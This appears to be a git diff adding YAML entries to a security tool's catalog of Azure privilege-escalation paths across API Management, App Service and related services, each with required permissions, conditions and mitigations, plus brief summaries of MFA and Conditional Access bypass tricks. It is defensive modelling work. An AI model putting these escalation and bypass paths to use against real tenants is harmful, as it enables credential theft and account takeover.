src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#option-2-ml-jobs-requires-jobswrite + technique: 'Option 2: ML Jobs (requires jobs/write)' + source_revision: a66f094ede + reason: Duplicate summary of the online-endpoint, jobs/write or compute-instance entries in machine_learning.yaml; the corresponding + concrete permission branch is modelled there. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#option-3-compute-instances-requires-computeswrite + technique: 'Option 3: Compute Instances (requires computes/write)' + source_revision: a66f094ede + reason: Duplicate summary of the online-endpoint, jobs/write or compute-instance entries in machine_learning.yaml; the corresponding + concrete permission branch is modelled there. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#stored-completions-are-not-a-validated-current-disclosure-path + technique: Stored completions are not a validated current disclosure path + source_revision: a66f094ede + reason: 'The section is a negative finding: the deprecated stored-completions actions do not disclose another principal’s completions + or credentials.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-databricks-privesc.md#direct-api-technique + technique: Direct API technique + source_revision: a66f094ede + reason: 'privesc: complete the two-token (Databricks + ARM) SCIM bootstrap directly against the workspace host to land in the admins + group and act as workspace administrator, executing workloads under the workspace/cluster…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md#enumeration + technique: Enumeration + source_revision: a66f094ede + reason: Lists every Conditional Access policy (/identity/conditionalAccess/policies) to map conditions, exclusions and mis-scoped + signals — the recon that identifies which policy to bypass or weaken for privesc/access. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md#device-platforms---device-condition + technique: Device Platforms - Device Condition + source_revision: a66f094ede + reason: Spoofs or uses an unknown browser user-agent so a platform-scoped CA condition (Android/iOS/Windows/macOS/Linux) does not + match, avoiding the control it applies — e.g. The section documents data access, data integrity, availability, network reachability + or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md#locations-countries-ip-ranges---device-condition + technique: 'Locations: Countries, IP ranges - Device Condition' + source_revision: a66f094ede + reason: Connects through a VPN/proxy in an allowed country or from an allowed/trusted IP to satisfy or fall outside a network-location + CA condition, bypassing location-gated controls (including MFA/block). The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md#cloud-apps + technique: Cloud Apps + source_revision: a66f094ede + reason: Finds an application not covered (or excluded) by the MFA/block CA policy and authenticates to it single-factor, then abuses + that app/token to escalate — AzureAppsSweep tests 400+ apps across seven resource URIs to…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md#ring-tone + technique: Ring tone + source_revision: a66f094ede + reason: 'Abuses phone-call MFA (confirm by pressing #) by planting the confirmation tone in a compromised voicemail greeting and forcing + the call to voicemail, satisfying the MFA challenge — a legacy,…. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md#compliant-devices + technique: Compliant Devices + source_revision: a66f094ede + reason: Registers and Intune-enrolls a device so it is reported compliant, then obtains and inspects a PRT to satisfy a compliant-device + grant control; note a PRT does not universally bypass MFA (MFA claims are imprinted…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-intune-privesc.md#macos-shell-scripts-as-root--win32-apps-as-system + technique: macOS shell scripts as root / Win32 apps as SYSTEM + source_revision: a66f094ede + reason: Device code execution is modelled by azure-intune-managed-device-user-code-execution; reaching a Global Administrator additionally + requires that privileged user to sign into the compromised device. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-intune-privesc.md#privesc-chain--intune-administrator--intune-scoped-sp---global-admin + technique: Privesc chain — Intune Administrator / Intune-scoped SP -> Global Admin + source_revision: a66f094ede + reason: Device code execution is modelled by azure-intune-managed-device-user-code-execution; reaching a Global Administrator additionally + requires that privileged user to sign into the compromised device. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-speech-services-post-exploitation.md#enumerate-jobs + technique: Enumerate jobs + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + reason: Lists visible completed transcription jobs and exposes their UUIDs and files links (but not transcript content, and job metadata + omits the original audio contentUrls), providing the UUIDs required to target the files…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-speech-services-post-exploitation.md#recover-transcript-files + technique: Recover transcript files + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + reason: Returns file metadata and a signed contentUrl for a known job and downloads the private transcript JSON/report; cannot list + jobs on its own, so it is chained after job enumeration or a leaked UUID Request the file…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/adjacent_principals.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/adjacent_principals.yaml new file mode 100644 index 0000000000..7c610f7eff --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/adjacent_principals.yaml @@ -0,0 +1,130 @@ +# catalog_description: These ARM actions create an escalation edge only when +# unique reviewed evidence binds the exact adjacent-plane principal, usable +# credential or grant, prior denial, and newly allowed action. +# Canonical policy: peaso/privesc/catalog_policy.yaml +- id: azure-apim-developer-portal-sso-external-principal + provider: azure + service: api_management + title: Sign in as one named API Management developer-portal user + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceusersgeneratessourlaction + source_revision: db5b136660 + summary: A generated SSO URL can reach the exact requested portal user only when its token is usable and newly grants a named portal or subscription action. + requires: + all_of: + - action: Microsoft.ApiManagement/service/users/generateSsoUrl/action + scope: '{target.scope}' + target: + kind: azure_external_principal + selector: + azure_external_principal_evidence: true + azure_external_plane: apim_developer_portal + scope: inherited_scope + outcome: credentials + aggregate_as: Exact API Management developer-portal user reached by SSO URL + conditions: + - id: exact_portal_user_sso + description: Reviewed evidence must bind the requested users resource, returned usable SSO token, authenticated portal user, prior denial, and newly allowed portal or API-subscription action. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict users/generateSsoUrl/action and audit developer-portal SSO URL generation. + references: + - https://learn.microsoft.com/en-us/rest/api/apimanagement/user/generate-sso-url + notes: The portal user is an adjacent-plane identity; generating a URL without observed authentication and new authority emits no path. The separate users/token/action returns a shared-access token for portal SSO. + +- id: azure-datafactory-github-oauth-external-principal + provider: azure + service: data_factory + title: Exchange a supplied GitHub authorization code through Data Factory + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#exchange-a-supplied-github-authorization-code-with-factoriesgetgithubaccesstokenaction + source_revision: a9948bc18d + summary: A supplied GitHub authorization code can be exchanged through the factory action; a path exists only when its returned token grants a new action to an exact GitHub subject and repository. + requires: + all_of: + - action: Microsoft.DataFactory/factories/getGitHubAccessToken/action + scope: '{target.scope}' + target: + kind: azure_external_principal + selector: + azure_external_principal_evidence: true + azure_external_plane: github_repository + scope: inherited_scope + outcome: credentials + aggregate_as: Exact GitHub repository principal reached through factory OAuth + conditions: + - id: exact_github_subject_and_repository_authority + description: Reviewed evidence must bind a supplied GitHub authorization code, exact factory response token, authenticated GitHub subject and repository, prior denial, and newly allowed repository action. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict getGitHubAccessToken/action and protect GitHub authorization codes and app credentials. + references: + - https://learn.microsoft.com/en-us/rest/api/datafactory/factories/get-git-hub-access-token + notes: The API requires a caller-supplied GitHub authorization code and token base URL. Permission alone cannot retrieve a configured factory credential. A token-shaped value or configured Git repository does not establish GitHub authority. + +- id: azure-eventgrid-mqtt-client-grant-external-principal + provider: azure + service: event_grid + title: Give an attacker-owned MQTT client new topic publish or subscribe authority + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md#backdoor-mqtt-client-via-namespacesclients--clientgroups--permissionbindingswrite + source_revision: 01399090fa + summary: Creating or updating a permission binding for a client group containing an attacker-owned MQTT client can give its usable credential a new broker action. + requires: + all_of: + - action: Microsoft.EventGrid/namespaces/permissionBindings/write + scope: '{target.scope}' + target: + kind: azure_external_principal + selector: + azure_external_principal_evidence: true + azure_external_plane: eventgrid_mqtt + scope: inherited_scope + outcome: identity + aggregate_as: Exact MQTT client with reviewed new topic authority + conditions: + - id: exact_mqtt_client_group_binding_and_credential + description: Reviewed evidence must bind the owned client and usable credential to the exact namespace, matching client group, permission binding, topic space, prior denial, and newly allowed publish or subscribe action. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict Event Grid namespace client, group, and permission-binding writes; review newly registered MQTT clients. + references: + - https://learn.microsoft.com/en-us/azure/event-grid/mqtt-overview + - https://learn.microsoft.com/en-us/rest/api/eventgrid/controlplane/permission-bindings/create-or-update?view=rest-eventgrid-controlplane-2025-02-15 + - https://learn.microsoft.com/en-us/azure/event-grid/mqtt-client-groups + notes: The typed proof requires a successful new MQTT authorization with the exact owned client, matching client group, binding, topic space and Publisher or Subscriber action. Existing clients and groups are valid; creating new ones also requires their respective write permissions, but successful reviewed evidence proves that step when used. +- id: azure-apim-developer-portal-shared-token-external-principal + provider: azure + service: api_management + title: Sign in as one named developer-portal user with a shared token + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceuserstokenaction + source_revision: db5b136660 + summary: A user shared-access token can reach the exact requested portal user only when reviewed evidence shows a usable sign-in and a newly allowed action. + requires: + all_of: + - action: Microsoft.ApiManagement/service/users/token/action + scope: '{target.scope}' + target: + kind: azure_external_principal + selector: + azure_external_principal_evidence: true + azure_external_plane: apim_developer_portal + scope: inherited_scope + outcome: credentials + aggregate_as: Exact API Management developer-portal user reached by shared token + conditions: + - id: exact_portal_user_shared_token + description: Reviewed evidence must bind the requested user, developer portal, returned usable token, authenticated portal user, prior denial, and newly allowed portal or API-subscription action. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict users/token/action and audit developer-portal user-token generation. + references: + - https://learn.microsoft.com/en-us/rest/api/apimanagement/user/get-shared-access-token + - https://learn.microsoft.com/en-us/azure/api-management/developer-portal-faq + - https://learn.microsoft.com/en-us/azure/api-management/api-management-howto-setup-delegation + notes: The token operation is separate from generateSsoUrl/action. Microsoft documents shared-token sign-in for self-hosted portals and delegated sign-in to managed portals. Without reviewed proof that the portal accepted it for the named user and granted a new action, no path is emitted. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/analysis_services.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/analysis_services.yaml new file mode 100644 index 0000000000..a2408bb619 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/analysis_services.yaml @@ -0,0 +1,41 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Analysis Services techniques (declarative only). +# Source: hacktricks-cloud az-analysis-services-privesc.md (rev 171e422). + +- id: azure-analysisservices-server-admin-write + provider: azure + service: analysis_services + title: Add a principal to the Analysis Services server administrators + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-analysis-services-privesc.md#server-admin-self-add--full-model-exfil-marquee + source_revision: db5b136660 + summary: The source can add a controlled login-capable tenant principal to the server administrators and thereby gain administrative access to hosted models. + requires: + all_of: + - action: Microsoft.AnalysisServices/servers/write + scope: "{target.scope}" + target: + kind: azure_dataplane_admin + selector: + any_principal_in_scope: true + scope: inherited_scope + aggregate_as: "Analysis Services server admins of {target.scope}" + conditions: + - id: controlled_login_capable_tenant_principal + description: The source must control a user or service principal in the server tenant that can sign in to Analysis Services; a managed identity cannot sign in to the service. + - id: network_reachable + description: The server firewall must allow the source (servers/write can also change it). + - id: server_active_or_resumable + description: A paused or suspended server must be resumed before its models can be accessed. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict servers/write and monitor changes to asAdministrators. + references: + - https://learn.microsoft.com/en-us/rest/api/analysisservices/servers/update + - https://learn.microsoft.com/en-us/azure/analysis-services/analysis-services-server-admins + notes: The ARM write grants the ability to change asAdministrators on the exact server. The target is server-level data-plane administration, not observed access to any particular model. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/api_management.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/api_management.yaml new file mode 100644 index 0000000000..fff2ca79ed --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/api_management.yaml @@ -0,0 +1,112 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure API Management techniques (declarative only). +# Source: hacktricks-cloud az-api-management-privesc.md (rev 171e422, re-verified). + +- id: azure-apim-policy-write-managed-identity-token + provider: azure + service: api_management + title: Edit an APIM policy to obtain the instance managed identity token + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceapispolicieswrite--steal-the-apim-managed-identity-token + source_revision: 171e422 + summary: The source can obtain the privileges of the system-assigned and user-assigned managed identities attached to the API Management instance. + requires: + all_of: [] + any_of: + - - action: Microsoft.ApiManagement/service/policies/write + scope: '{target.host_resource}' + - - action: Microsoft.ApiManagement/service/apis/policies/write + scope: '{target.apim_api_policy_resource}' + - - action: Microsoft.ApiManagement/service/apis/operations/policies/write + scope: '{target.apim_operation_policy_resource}' + - - action: Microsoft.ApiManagement/service/products/policies/write + scope: '{target.apim_product_policy_resource}' + - - action: Microsoft.ApiManagement/service/apis/write + scope: '{target.apim_api_resource}' + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.ApiManagement/service + scope: inherited_scope + aggregate_as: Identities of API Management instance {target.host_resource} + conditions: + - id: request_reaches_policy + description: The edited policy runs only when a request reaches the gateway for an API in that policy scope (any caller's traffic for a global policy; for a product or API policy, an API the source can call, which may need a subscription key). + - id: gateway_network_reachable + description: Exfiltrating the token needs outbound access from the gateway to a source-controlled endpoint, or a response the source can read. Internal VNet deployments can limit this. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict APIM policy write and apis/write (API Management Service Contributor and custom roles) to trusted administrators. Give APIM-attached identities only the roles the backends need, and alert on policy changes that add authentication-managed-identity. + references: + - https://learn.microsoft.com/en-us/azure/api-management/authentication-managed-identity-policy + - https://learn.microsoft.com/en-us/azure/api-management/api-management-howto-use-managed-service-identity#security-considerations-for-managed-identities + notes: Microsoft documents that policy editors (apis/write or apis/policies/write, or API Management Service Contributor) can authenticate as the service's managed identity through the authentication-managed-identity policy. They can then capture the token in a variable, forward it or log it. The policy can request a token for any resource audience (ARM, Graph, Key Vault, Storage). It selects any attached user-assigned identity by client-id. API, operation and product write grants are checked at their assigned child scope as well as the service; actual policy execution and token delivery remain conditional. Managed identities are not available in APIM workspaces, so workspace policy write is not included. + +- id: azure-apim-restore-backup-managed-identity-token + provider: azure + service: api_management + title: Restore a valid backup containing a controlled APIM policy + source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementservicebackupaction--full-service-exfiltration-to-attacker-storage + source_revision: db5b136660 + summary: Restoring a valid APIM backup containing a controlled policy may let that policy use an identity attached to the target service. + requires: + all_of: + - action: Microsoft.ApiManagement/service/restore/action + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.ApiManagement/service + azure_apim_restorable_backup: true + scope: inherited_scope + aggregate_as: "Managed identities of API Management service {target.host_resource}" + conditions: + - id: restorable_backup + description: Reviewed evidence must bind a valid APIM-created backup under 30 days old, compatible target tier, usable storage access, and a controlled identity-using policy to this target service. + - id: identities_kept + description: The controlled policy must select the exact attached system or user-assigned identity, and a request must run it and deliver the token. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict service/restore/action (API Management Service Contributor) and alert on restore operations. + references: + - https://learn.microsoft.com/en-us/azure/api-management/api-management-howto-disaster-recovery-backup-restore + notes: Azure restores APIM-created backups; an arbitrary edited blob is not established as restorable. Managed identity configuration is not backed up, so the target's current attached identity must match the restored policy. Missing reviewed backup evidence emits no named identity path. + +- id: azure-apim-gateway-config-credential + provider: azure + service: api_management + title: APIM gateway configuration embedded credentials + source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementservicegatewaysgetconfigurationaction--bulk-policysecret-pull-data-action-bypasses-the-administrative-log + source_revision: db5b136660 + summary: Read a verified usable credential from self-hosted gateway configuration and gain its Entra service principal permissions. + requires: + all_of: + - action: Microsoft.ApiManagement/service/gateways/getConfiguration/action + scope: '{pivot}' + data_action: true + pivot_resource_type: Microsoft.ApiManagement/service + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Verified credential holders in {pivot} + conditions: + - id: verified_credential + description: Only a collected, mapped, still-valid service-principal credential in the readable content creates this edge; uncollected, partial, or unverified content creates no path. + - id: gateway_assignment + description: Reviewed evidence must identify the exact gateway resource and confirm the usable credential was present in configuration returned for that gateway. + blockers: [] + confidence: conditional + severity: high + mitigation: Remove reusable Entra credentials from the content and restrict the listed read permission. + references: + - https://learn.microsoft.com/en-us/azure/api-management/self-hosted-gateway-overview + notes: Only an exact, usable credential mapped to a named Entra service principal and present in the returned configuration of one identified gateway by reviewed azure_privesc_challenge_evidence creates a path; missing or incomplete review creates no path. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/app_configuration.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/app_configuration.yaml new file mode 100644 index 0000000000..c2940ead37 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/app_configuration.yaml @@ -0,0 +1,36 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +- id: azure-appconfig-snapshot-credential + provider: azure + service: app_configuration + title: Recover credentials retained in App Configuration snapshot + source: src/pentesting-cloud/azure-security/az-post-exploitation/az-app-configuration-post-exploitation.md#bulk-exfil--loot-persistence-via-snapshots-configurationstoressnapshotsread--write + source_revision: 658a097d5c + summary: Read a verified usable Entra client secret from a named, readable App Configuration snapshot and gain that service principal's permissions. + requires: + all_of: + - action: Microsoft.AppConfiguration/configurationStores/snapshots/read + scope: '{pivot}' + data_action: true + pivot_resource_type: Microsoft.AppConfiguration/configurationStores + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Verified credential holders in {pivot} + conditions: + - id: verified_credential + description: Only an exact service-principal client secret verified in the returned content of a named snapshot creates this edge; the secret must still be usable. + - id: snapshot_access + description: The named snapshot must already exist and return the credential-bearing content; creating a new snapshot additionally needs keyValues/read and snapshots/write. + blockers: [] + confidence: conditional + severity: high + mitigation: Remove reusable Entra credentials from the content and restrict the listed read permission. + references: + - https://learn.microsoft.com/en-us/azure/azure-app-configuration/concept-snapshots + notes: Reviewed azure_privesc_challenge_evidence must bind SnapshotName, SnapshotContentReadVerified, CredentialInSnapshotVerified, and SnapshotContentEvidenceRef to the same store and exact service principal. Missing or incomplete review creates no path. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/app_services.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/app_services.yaml new file mode 100644 index 0000000000..1de61d8b52 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/app_services.yaml @@ -0,0 +1,413 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure App Service (Microsoft.Web/sites) privilege escalation techniques. +# Applies to Web Apps AND Function Apps (both are Microsoft.Web/sites); Function-only techniques live in functions.yaml. +# Source: hacktricks-cloud az-app-services-privesc.md and az-functions-app-privesc.md (rev 171e422, re-verified). +# Placeholder conventions: see catalog/azure/authorization.yaml header. +# Deployment slots (Microsoft.Web/sites/slots) have their own managed identity configuration and their own +# RBAC actions; they are modelled separately in azure-appservice-slot-code-execution. + +- id: azure-appservice-kudu-publish-action + provider: azure + service: app_services + title: Use the Kudu/SCM API with Entra credentials to run commands in the app + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitespublishaction-and-microsoftwebsitesslotspublishaction + source_revision: 171e422 + summary: Microsoft.Web/sites/publish/action may allow code deployment or access to the running app container through the exact app's SCM endpoint, exposing its managed identity. + requires: + all_of: + - action: Microsoft.Web/sites/publish/action + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_appservice_kudu_code_path: true + scope: inherited_scope + aggregate_as: "Managed identities of App Service {target.host_resource}" + conditions: + - id: scm_network_access + description: SCM site access restrictions / private endpoints may require network reachability. + - id: app_code_execution + description: Kudu access must allow code to run in the app context; Linux Kudu commands run in a separate container unless the main app container is targeted. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict Microsoft.Web/sites/publish/action (Website Contributor, Contributor), restrict SCM site network access, and keep app identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/app-service/resources-kudu + notes: Linux Function Apps on Consumption and Flex plans lack Advanced Tools; a stopped app also needs a start route. Publish permission on another host of the same managed identity cannot satisfy this path. Kudu reachability and code execution remain conditional. + +- id: azure-appservice-publishing-credentials-enable-basic-auth + provider: azure + service: app_services + title: Obtain SCM/FTP publishing credentials and enable basic auth to deploy code + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#obtaining-scm-credentials--enabling-basic-authentication + source_revision: 171e422 + summary: Reading an app's publishing credentials and enabling its SCM basic auth policy may allow deployment of code that runs as that app's managed identity. + requires: + all_of: + - action: Microsoft.Web/sites/basicPublishingCredentialsPolicies/write + any_of: + - - action: Microsoft.Web/sites/publishxml/action + - - action: Microsoft.Web/sites/config/list/action + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_appservice_enable_publishing_credentials_code_path: true + scope: inherited_scope + aggregate_as: "Managed identities of App Service {target.host_resource}" + conditions: + - id: policy_change_and_scm_code_execution + description: The SCM policy change must be allowed, the endpoint must be reachable, and a valid package must run in the app context. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Keep SCM/FTP basic authentication disabled (enforce with Azure Policy) and restrict publishxml/config list and basicPublishingCredentialsPolicies/write. + references: + - https://learn.microsoft.com/en-us/azure/app-service/configure-basic-auth-disable + - https://learn.microsoft.com/en-us/azure/app-service/deploy-configure-credentials + notes: Requires basicPublishingCredentialsPolicies/write on the exact site's scm child, plus publishxml or config/list on that same app. If SCM basic auth is already enabled, the separate publishing-credentials entry covers that path. FTP policy alone cannot enable SCM deployment. Custom container execution remains unresolved. + +- id: azure-appservice-publishing-credentials-basic-auth-enabled + provider: azure + service: app_services + title: Obtain SCM/FTP publishing credentials when basic auth is already enabled + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#publish-code-using-scm-credentials + source_revision: 171e422 + summary: With SCM basic auth allowed on the exact code app, access to its publishing credentials may allow deployment of code that runs as the app's managed identity. + requires: + all_of: [] + any_of: + - - action: Microsoft.Web/sites/publishxml/action + - - action: Microsoft.Web/sites/config/list/action + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_appservice_publishing_credentials_code_path: true + scope: inherited_scope + aggregate_as: "Managed identities of App Service {target.host_resource}" + conditions: + - id: scm_reachability_and_package_execution + description: The source must reach the SCM endpoint, deploy a valid package, and have it run in the app context. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Disable SCM and FTP basic authentication and restrict publishxml/config list. + references: + - https://learn.microsoft.com/en-us/azure/app-service/configure-basic-auth-disable + notes: The selector requires SCM basicPublishingCredentialsPolicies allow=true on the same app as the identity; FTP policy alone does not authorize SCM deployment. Custom container execution remains unresolved. config/list/action also returns app settings/connection strings (data exposure, not modelled). + +- id: azure-appservice-sourcecontrols-write + provider: azure + service: app_services + title: Redirect App Service deployment to an attacker repository + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitessourcecontrolswrite-and-microsoftwebsitesslotssourcecontrolswrite + source_revision: 171e422 + summary: Pointing the app's source control at an attacker repository deploys attacker code that runs with the app's managed identities. + requires: + all_of: + - action: Microsoft.Web/sites/sourcecontrols/write + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_appservice_sourcecontrol_code_path: true + scope: inherited_scope + aggregate_as: "Managed identities of App Service {target.host_resource}" + conditions: + - id: build_succeeds + description: The deployment/build must succeed for the code to run. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict sourcecontrols/write and monitor deployment source changes. + references: + - https://learn.microsoft.com/en-us/azure/app-service/deploy-continuous-deployment + notes: The selector binds sourcecontrols/web write to the exact identity app and checks the app's runtime kind and stopped state. Container-image deployments remain unresolved. This also covers the "Change GitHub repo" technique on the Function App page. + +- id: azure-appservice-sitecontainers-write + provider: azure + service: app_services + title: Replace an App Service sidecar/main SiteContainer image + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitessitecontainerswrite-and-microsoftwebsitesslotssitecontainerswrite + source_revision: 171e422 + summary: Writing a main or sidecar SiteContainer on a Linux app in SiteContainers mode may run attacker code alongside the app and expose its managed identity. + requires: + all_of: + - action: Microsoft.Web/sites/sitecontainers/write + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_appservice_sitecontainers_code_path: true + scope: inherited_scope + aggregate_as: "Managed identities of App Service {target.host_resource}" + conditions: + - id: image_run_and_identity_access + description: An attacker image must be pulled and run in the app environment, and its container must be able to use the attached managed identity endpoint. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict sitecontainers/write and enforce trusted registries. + references: + - https://learn.microsoft.com/en-us/azure/app-service/configure-sidecar + notes: Require LinuxFxVersion=sitecontainers on the exact app carrying the target identity and write on a child of that app. Existing child-scoped grants are included. Classic DOCKER mode does not load SiteContainer children without a separate mode change; a sidecar in SiteContainers mode can share the app environment. + +- id: azure-appservice-config-write + provider: azure + service: app_services + title: Change app configuration to load attacker code + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitesconfigwrite + source_revision: 171e422 + summary: A write to the exact app's configuration can replace its startup command, container, or supported package and may run code with its attached managed identity. + requires: + all_of: + - action: Microsoft.Web/sites/config/write + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_appservice_config_code_path: true + scope: inherited_scope + aggregate_as: "Managed identities of App Service {target.host_resource}" + conditions: + - id: app_runtime_execution + description: The changed configuration must cause attacker code to run; app state, package compatibility, and token use remain conditional. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict Microsoft.Web/sites/config/write (Website Contributor, Contributor) and alert on appsettings/container/startup command changes. + references: + - https://learn.microsoft.com/en-us/azure/app-service/configure-common + - https://learn.microsoft.com/en-us/azure/azure-functions/run-functions-from-deployment-package + notes: Check config/write on the exact app's config/web or config/appsettings child. Linux apps can use a direct startup command; Windows containers can replace their image. Function package URLs are plan-dependent, and Flex Consumption does not support WEBSITE_RUN_FROM_PACKAGE. Remote debugging alone does not prove code execution. + +- id: azure-appservice-siteextensions-write + provider: azure + service: app_services + title: Install an attacker NuGet site extension + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitessiteextensionswrite--attacker-nuget-site-extension + source_revision: 171e422 + summary: Installing an attacker-controlled site extension on the exact Windows code app may change content the app runs and expose its attached managed identity. + requires: + all_of: + - action: Microsoft.Web/sites/siteextensions/write + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_appservice_siteextensions_code_path: true + scope: inherited_scope + aggregate_as: "Managed identities of App Service {target.host_resource}" + conditions: + - id: attacker_package_and_app_code_execution + description: The site extension feed must provide the attacker package, its install must succeed, and the app must run modified content with its managed identity. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict siteextensions/write. + references: + - https://learn.microsoft.com/en-us/rest/api/appservice/web-apps/install-site-extension + - https://github.com/projectkudu/kudu/wiki/Azure-Site-Extensions + notes: 